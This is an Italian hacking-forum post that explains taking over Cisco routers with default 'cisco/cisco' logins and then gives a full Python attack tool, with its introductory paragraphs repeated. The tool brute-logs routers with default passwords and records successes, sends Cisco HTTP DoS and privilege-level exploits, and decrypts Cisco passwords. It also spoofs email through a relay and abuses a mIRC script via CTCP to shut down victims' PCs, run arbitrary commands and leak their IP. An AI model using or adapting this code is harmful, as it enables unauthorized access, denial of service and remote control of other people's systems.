1) usare password default (cisco / cisco) ,secondo una mia statistica lol nel 70% delle macchine c è l user cisco,e la password cisco.se si riesce ad accedere in questo modo è possibile utilizzare il router cisco per effettuare qualsiasi connessione tramite telnet.quindi si potrebbe usare come telnet proxy,per irc,per il web,per qualsiasi cosa.
se poi si vuole accedere come admin usando il comando "enable" potete riprovare "cisco","cisco" ,nella mia statistica ci accedi il 40% delle volte lol: ahaha) .quando si ha accesso al router come amministratore è possibile aprire,chiudere porte,usarlo come un firewall,fare qualsiasi cosa
2) si potrebbe ricorrere a diversi exploit funzionanti però con i routers un po piu vecchi
3) si puo usare un brute force
torniamo alla 1...ho fatto un programmino che vi permette di inserire solamente l ip,e il programma tenta di effettuare il login come "cisco","cisco" e se è possibile scrive su un file l ip,l user e la pass associata,dopo questo il programmino tenta di accedere come amministratore (sempre con quelle pass default) se riesce ad accedere salva il login da amministratore.
nel codice ci sono anche altri exploit per cisco,e anche la funzione di decifrare la pass.
la pass è dentro un file chiamato SDMconfig.txt (Security Device Manager) e in alcuni routers è possibile ottenerlo usando il comando wget http://ip/SDMconfig.txt .
il codice è questo (python)
se poi si vuole accedere come admin usando il comando "enable" potete riprovare "cisco","cisco" ,nella mia statistica ci accedi il 40% delle volte lol: ahaha) .quando si ha accesso al router come amministratore è possibile aprire,chiudere porte,usarlo come un firewall,fare qualsiasi cosa
2) si potrebbe ricorrere a diversi exploit funzionanti però con i routers un po piu vecchi
3) si puo usare un brute force
torniamo alla 1...ho fatto un programmino che vi permette di inserire solamente l ip,e il programma tenta di effettuare il login come "cisco","cisco" e se è possibile scrive su un file l ip,l user e la pass associata,dopo questo il programmino tenta di accedere come amministratore (sempre con quelle pass default) se riesce ad accedere salva il login da amministratore.
nel codice ci sono anche altri exploit per cisco,e anche la funzione di decifrare la pass.
la pass è dentro un file chiamato SDMconfig.txt (Security Device Manager) e in alcuni routers è possibile ottenerlo usando il comando wget http://ip/SDMconfig.txt .
il codice è questo (python)
Codice:
#!/usr/bin/python
import time
import socket
import os
from cisco_decrypt import CiscoPassword
print """
~~~~~~~~~~~~~~~~~~
~~~ Tools 1.0 ~~
~~~~~~~~~~~~~~~~~~
~~ By ^4st3r1X^ ~~
~~~~~~~~~~~~~~~~~~
1) Anonymail
2) Portscan
3) Traceroute
4) Lookup
5) Attack cisco default passwords
6) Cisco exploit "GET /%%"
7) Cisco auth level exploit
8) Cisco password decrypt
9) mIRC-XStyle Remote shell CTCP
"""
if os.path.exists("Lab_1.0") == True:
pass
else:
Lab = os.popen("mkdir ~/Lab_1.0")
def anon():
print "\n~Anonimail~\n"
ip = "smtp.nemesi.net"
p = 25
nome = raw_input("Inserisci il nome: ")
mittente = raw_input("Inserisci il mittente: ")
destinatario = raw_input("Inserisci il destinario: ")
oggetto = raw_input("Inserisci l'oggetto: ")
messaggio = raw_input("Inserisci il messaggio: ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, p))
time.sleep(1)
s.send("helo %s\n" % (nome))
time.sleep(1)
s.send("mail from:<%s>\n" % (mittente))
time.sleep(1)
s.send("rcpt to:<%s>\n" % (destinatario))
time.sleep(1)
s.send("data\n")
time.sleep(1)
s.send("from: %s <%s>\n" % (nome, mittente))
time.sleep(1)
s.send("subject: %s\n" % (oggetto))
time.sleep(1)
s.send("%s" % (messaggio))
time.sleep(1)
s.send("\n.\n")
time.sleep(1)
data = s.recv(100000)
if data.find("250") != -1:
print "\nInviato\n"
else:
print "\nInvio fallito\n"
except socket.error,msg:
print "\nImpossibile connettersi\n"
finally:
s.close()
exit()
def cisco():
print "\n~Cisco hack password~\n"
ip = raw_input("ip: ")
p = 23
log = open('Lab_1.0/Cisco.log', 'a')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Connessione in corso: %s" % (ip)
try:
s.connect((ip, p))
print "Connessione riuscita\n"
except socket.error,msg:
print "Connessione rifiutata\n"
s.close()
exit()
time.sleep(1)
data = s.recv(1000000)
if data.find("Username:") != -1:
print "Login in corso..."
s.send("cisco\n")
time.sleep(1)
s.send("cisco\n")
time.sleep(1)
data = s.recv(100000)
time.sleep(2)
if data.find("% Login invalid") != -1:
print "Login errato"
exit()
if data.find("% Bad passwords") != -1:
print "Login errato"
exit()
if data.find("% Authentication failed") != -1:
print "Login errato"
exit()
else:
print ">>Login riuscito"
s.send("enable\n")
time.sleep(1)
log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (ip))
print "Login come amministratore in corso..."
s.send("cisco\n")
time.sleep(1)
data = s.recv(100000)
time.sleep(1)
if data.find("#") != -1:
print ">>Login amministratore riuscito"
log.write("%s Login admin riuscito\npass:cisco\n" % (ip))
else:
print "Login admin fallito"
exit()
if data.find("Password:") != -1:
print "Login in corso..."
s.send("cisco\n")
time.sleep(1)
data = s.recv(100000)
time.sleep(1)
if data.find("% Login invalid") != -1:
print "Login errato"
exit()
if data.find("% Bad passwords") != -1:
print "Login errato"
exit()
if data.find("Password:") != -1:
print "Login errato"
exit()
else:
print ">>Login riuscito"
s.send("enable\n")
time.sleep(1)
log.write("%s Login riuscito\npass:cisco\n" % (ip))
print "Login come amministratore in corso..."
s.send("cisco\n")
time.sleep(1)
data = s.recv(100000)
time.sleep(1)
if data.find("#") != -1:
print ">>Login amministratore riuscito"
log.write("%s Login admin riuscito\npass:cisco\n" % (ip))
else:
print "Login admin fallito"
exit()
else:
print "Login errato"
exit()
def scan():
from time import strftime
print "\n~Port scanner~\n"
data = strftime("%d-%m-%Y %H:%M:%S")
log = open('Lab_1.0/Scan.log', 'a')
info = {
1:'TCP Multiplexor',
7: 'Echo',
20: 'FTP',
21: 'FTP',
22: 'SSH',
23: 'Telnet',
25: 'SMTP',
53: 'DNS',
67: 'BOOTP Server',
68: 'BOOTP Client',
69: 'TFTP',
70: 'Gopher',
79: 'Finger',
80: 'HTTP',
88: 'Kerebros',
110: 'POP-3',
113: 'Auth',
119: 'NNTP',
139: 'Netbios',
143: 'IMAP-4',
443: 'HTTPS',
445: 'Microsoft-DS',
465: 'SMTP',
631: 'Cups',
666: 'Doom game',
993: 'IMAP-4',
995: 'POP-3',
1011: 'Doly trojan',
1012: 'Doly trojan',
1080: 'Socks proxy',
1234: 'Netbus',
1337: 'Waste',
1353: 'IBM lotus',
1433:'SQL Server',
1434: 'SQL Monitor',
1521: 'Oracle',
2081: 'Cpanel',
2086: 'Web host manager',
3050: 'Firebird database system',
3128: 'HTTP Squid cache',
3306: 'MySQL database system',
3389: '(RDP) desktop remoto',
4590: 'ICQ trojan',
4662: 'eMule',
4672: 'eMule',
4711: 'eMule Web server',
5000: 'plug-and-play',
5060: 'SIP',
5190: 'AOL instant messenger',
5222: 'XMPP/Jabber Client Connection',
5223: 'XMPP/Jabber SSL',
5269: 'XMPP/Jabber Server Connection',
5432: 'PostgreSQL Database system',
5631: 'Symantec PcAnywhere',
5632: 'Symantec PcAnywhere',
5800: 'Ultra VNC (HTTP)',
5900: 'Ultra VNC (Main)',
6000: 'X-11',
6660: 'IRC',
6661: 'IRC',
6662: 'IRC',
6663: 'IRC',
6664: 'IRC',
6665: 'IRC',
6666: 'IRC',
6667: 'IRC',
6668: 'IRC',
6669: 'IRC',
6881: 'Bit torrent',
6969: 'Bit torrent',
8000: 'iRDMI',
8080: 'Proxy',
8118: 'Privoxy',
9009: 'Pichat',
9050: 'Tor',
12345: 'Netbus',
12346: 'Netbus',
27960: 'Quake 3',
31337: 'Back Orifice',
41951: 'TVersity Media Server',
}
ip = raw_input("Inserisci l'host: ")
inizio = input("Inserisci la porta d'inzio scansione: ")
fine = input("Inserisci la porta di fine scansione: ")
print "\nInzio scansione dalla porta %s alla porta %s sull'host %s\n" % (inizio, fine, ip)
log.write("%s - Inzio scansione dalla porta %s alla porta %s sull'host %s\n" % (data, inizio, fine, ip))
if fine < inizio:
fine = inizio
porte = []
for p in range(inizio, fine+1):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip,p))
porte.append(p)
if len(porte) > 0:
if p in info:
print "Aperta la porta %s Info: %s" % (p, info[p])
log.write("Aperta la porta %s Info: %s\r" % (p, info[p]))
else:
print "Aperta la porta %s Info: Sconosciuta" % (p)
log.write("Aperta la porta %s Info: Sconosciuta\r" % (p))
except socket.error,msg:
pass
finally:
s.close()
if not porte:
print "\nNon ci sono porte aperte"
log.write("Nessuna porta aperta\n")
print "\nScansione terminata"
log.write("Scansione terminata\n\n")
exit()
def lookup():
print "\n~Lookup hostname~\n"
ip = raw_input("Inserisci l'hostname: ")
data = os.popen("nslookup %s" % (ip))
print data.read()
def tracer():
print "\n~Traceroute~\n"
ip = raw_input("Inserisci l'hostname: ")
print "Traceroute in corso"
data = os.popen("traceroute %s" % (ip))
print "Resoconto:\n"
print data.read()
def cdecry():
print "\n~Cisco password decrypt~\n"
Crack = CiscoPassword()
Pass = raw_input("Inserisci la password criptata: ")
Password = Crack.decrypt(Pass)
if len(Password) > 0:
print "Pass crackata:\nPassword: %s" % (Password)
else:
print "Pass non crackata\n"
def ciscoh():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\n~Cisco GET /%% HTTP/1.0 Exploit~\n"
ip = raw_input("Ip cisco: ")
p = 80
try:
print "Connessione in corso"
s.connect((ip, p))
print "Connesso"
time.sleep(1)
print "Invio pacchetto DoS in corso"
s.send("GET /%% HTTP/1.0\n\r")
s.send("\n")
print "Pacchetto DoS inviato"
except socket.error,msg:
print "Connessione rifiutata"
exit()
data = s.recv(100)
time.sleep(2)
if data.find("401 Unauthorized") != -1:
print "Exploit fallito\n"
else:
print "Exploit riuscito\n"
def authcisco():
print "\n~Cisco http auth level DoS~\n"
ip = raw_input("Ip cisco: ")
p = 80
sp = "%20"
for vuln in range(16, 100):
exploit = "GET /level/%s/exec/show%sprivilege HTTP/1.0\n\r" % (vuln, sp)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,p))
print "Attacco in corso 'level %s'" % (vuln)
s.send(exploit)
s.send("\n\r")
data = s.recv(1000)
time.sleep(1)
if data.find("/Current privilege level is/") != -1:
print "Trovata vulnerabilita' su 'level %s'" % (vuln)
else:
print "Nessuna vulnerabilita' trovata su 'level %s'" % (vuln)
except:
print "Connessione rifiutata\n"
exit()
def xstyle():
import time
print "\n~XStyle remote control CTCP~\n"
serv = raw_input("Server irc (ip): ")
p = 6667
ID = "XStyle"
nome = "www.xstylescript.tk"
nick = "XStyle243"
scelta = input("1)Usa proxy\n2)Prosegui\n\nScelta: ")
if scelta == 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy = raw_input("Ip proxy: ")
proxyp = input("Porta proxy: ")
proxyus = raw_input("Username proxy: ")
proxypas = raw_input("Password proxy: ")
try:
s.connect((proxy, proxyp))
s.send(proxyus +"\n")
time.sleep(1)
s.send(proxypas +"\n")
time.sleep(2)
s.send("telnet %s %s\r\n" % (serv, p))
time.sleep(2)
s.send("nick %s\r\n" % (nick))
time.sleep(2)
s.send("user %s %s %s : %s\r\n" % (ID, ID, ID, nome))
print "Connesso\n\n"
vittima = raw_input("Inserisci il nick per l'exploit: ")
if len(vittima) > 0:
s.send("PRIVMSG %s :VERSION\n" % (vittima))
print "Attacco in corso\n"
time.sleep(15)
data = s.recv(10000)
if data.find(">X< Style") != -1:
print """Possibile vulnerabilita' trovata nel client del nick %s
Cosa desideri fare?
1) Spegni computer
2) Riavvia computer
3) Disconnetti da irc
4) Cambia nick
5) Scopri ip
6) Inserisci comando""" % (vittima)
scelta = input("Scelta: ")
hck = "Attacco inviato\n"
if scelta == 1:
tim = input("Imposta timer: ")
mesg = raw_input("Messaggio spegnimento: ")
cmdsp = "PRIVMSG %s :VERSION | { .run shutdown -s -t %s -c ""%s"" | halt }\n" % (vittima, tim, mesg)
s.send(cmdsp)
print hck
time.sleep(2)
exit()
elif scelta == 2:
s.send("PRIVMSG %s :VERSION | { .run shutdown -r | halt }\n" % (vittima))
print hck
time.sleep(1)
exit()
elif scelta == 3:
qmsg = raw_input("Messaggio quit: ")
s.send("PRIVMSG %s :VERSION | { .quit %s | halt }\n" % (vittima, qmsg))
print hck
time.sleep(2)
exit()
elif scelta == 4:
vnick = raw_input("Nuovo nick vittima: ")
s.send("PRIVMSG %s :VERSION | { .nick %s | halt }\n" % (vittima, vnick))
print hck
time.sleep(2)
exit()
elif scelta == 5:
chk = "#XStyleHacked"
s.send("JOIN %s\n" % (chk))
time.sleep(1)
s.send("MODE %s +si\n" % (chk))
s.send("PRIVMSG %s :VERSION | { .msg %s IP: $ip | halt }\n" % (vittima, chk))
print hck
time.sleep(2)
print "Attendere..."
time.sleep(13)
data = s.recv(10000)
if data.find("IP: ") != -1:
print hck
print "Sniffato pacchetto tcp contenente l'ip"
print data
exit()
else:
print "Attacco fallito"
exit()
elif scelta == 6:
cmd = raw_input("Comando: ")
s.send("PRIVMSG %s :VERSION | { .%s | halt }\n" % (vittima, cmd))
print hck
time.sleep(1)
exit()
else:
print "Scelta errata"
exit()
else:
print "Impossibile eseguire l'attacco"
exit()
except socket.error,msg:
print "Connessione fallita"
exit()
if scelta == 2:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((serv, p))
s.send("nick %s\n" % (nick))
s.send("user %s %s %s : %s\n" % (ID, ID, ID, nome))
print "Connesso\n\n"
vittima = raw_input("Inserisci il nick per l'exploit: ")
if len(vittima) > 0:
s.send("PRIVMSG %s :VERSION\n" % (vittima))
print "Ricerca vulnerabilita' in corso...\n"
time.sleep(25)
data = s.recv(10000)
if data.find(">X< Style") != -1:
print """Possibile vulnerabilita' trovata nel client del nick %s
Cosa desideri fare?
1) Spegni computer
2) Riavvia computer
3) Disconnetti da irc
4) Cambia nick
5) Scopri ip
6) Inserisci comando (windows)""" % (vittima)
scelta = input("Scelta: ")
hck = "Attacco inviato\n"
if scelta == 1:
tim = input("Imposta timer: ")
mesg = raw_input("Messaggio spegnimento: ")
cmdsp = "PRIVMSG %s :VERSION | { .run shutdown -s -t %s -c ""%s"" | halt }\n" % (vittima, tim, mesg)
s.send(cmdsp)
print hck
time.sleep(3)
exit()
elif scelta == 2:
s.send("PRIVMSG %s :VERSION | { .run shutdown -r | halt }\n" % (vittima))
print hck
time.sleep(2)
exit()
elif scelta == 3:
qmsg = raw_input("Messaggio quit: ")
s.send("PRIVMSG %s :VERSION | { .quit %s | halt }\n" % (vittima, qmsg))
print hck
time.sleep(1)
exit()
elif scelta == 4:
vnick = raw_input("Nuovo nick vittima: ")
s.send("PRIVMSG %s :VERSION | { .nick %s | halt }\n" % (vittima, vnick))
print hck
time.sleep(2)
exit()
elif scelta == 5:
chk = "#XStyleHacked"
s.send("JOIN %s\n" % (chk))
time.sleep(1)
s.send("MODE %s +si\n" % (chk))
s.send("PRIVMSG %s :VERSION | { .msg %s IP: $ip | halt }\n" % (vittima, chk))
print hck
time.sleep(2)
print "Attendere..."
time.sleep(13)
data = s.recv(10000)
if data.find("IP: ") != -1:
print "Attacco riuscito"
print "Sniffato pacchetto tcp contenente l'ip"
print data
exit()
else:
print "Attacco fallito"
exit()
elif scelta == 6:
cmd = raw_input("Comando: ")
s.send("PRIVMSG %s :VERSION | { .%s | halt }\n" % (vittima, cmd))
print hck
time.sleep(2)
exit()
else:
print "Scelta errata"
exit()
else:
print "Impossibile eseguire l'attacco"
exit()
else:
print "Errore\n"
exit()
except socket.error,msg:
print "Connessione fallita"
exit()
while True:
try:
dat = s.recv(1000)
except socket.error,msg:
print "Quit"
exit()
if dat.find ('PING') != -1:
s.send('PONG ' + dat.split()[1] + '\r\n')
scelta = input("Scelta: ")
if scelta == 1:
anon()
elif scelta == 2:
scan()
elif scelta == 3:
tracer()
elif scelta == 4:
lookup()
elif scelta == 5:
cisco()
elif scelta == 6:
ciscoh()
elif scelta == 7:
authcisco()
elif scelta == 8:
cdecry()
elif scelta == 9:
xstyle()
else:
print "Scelta errata"
#by ^4st3r1X^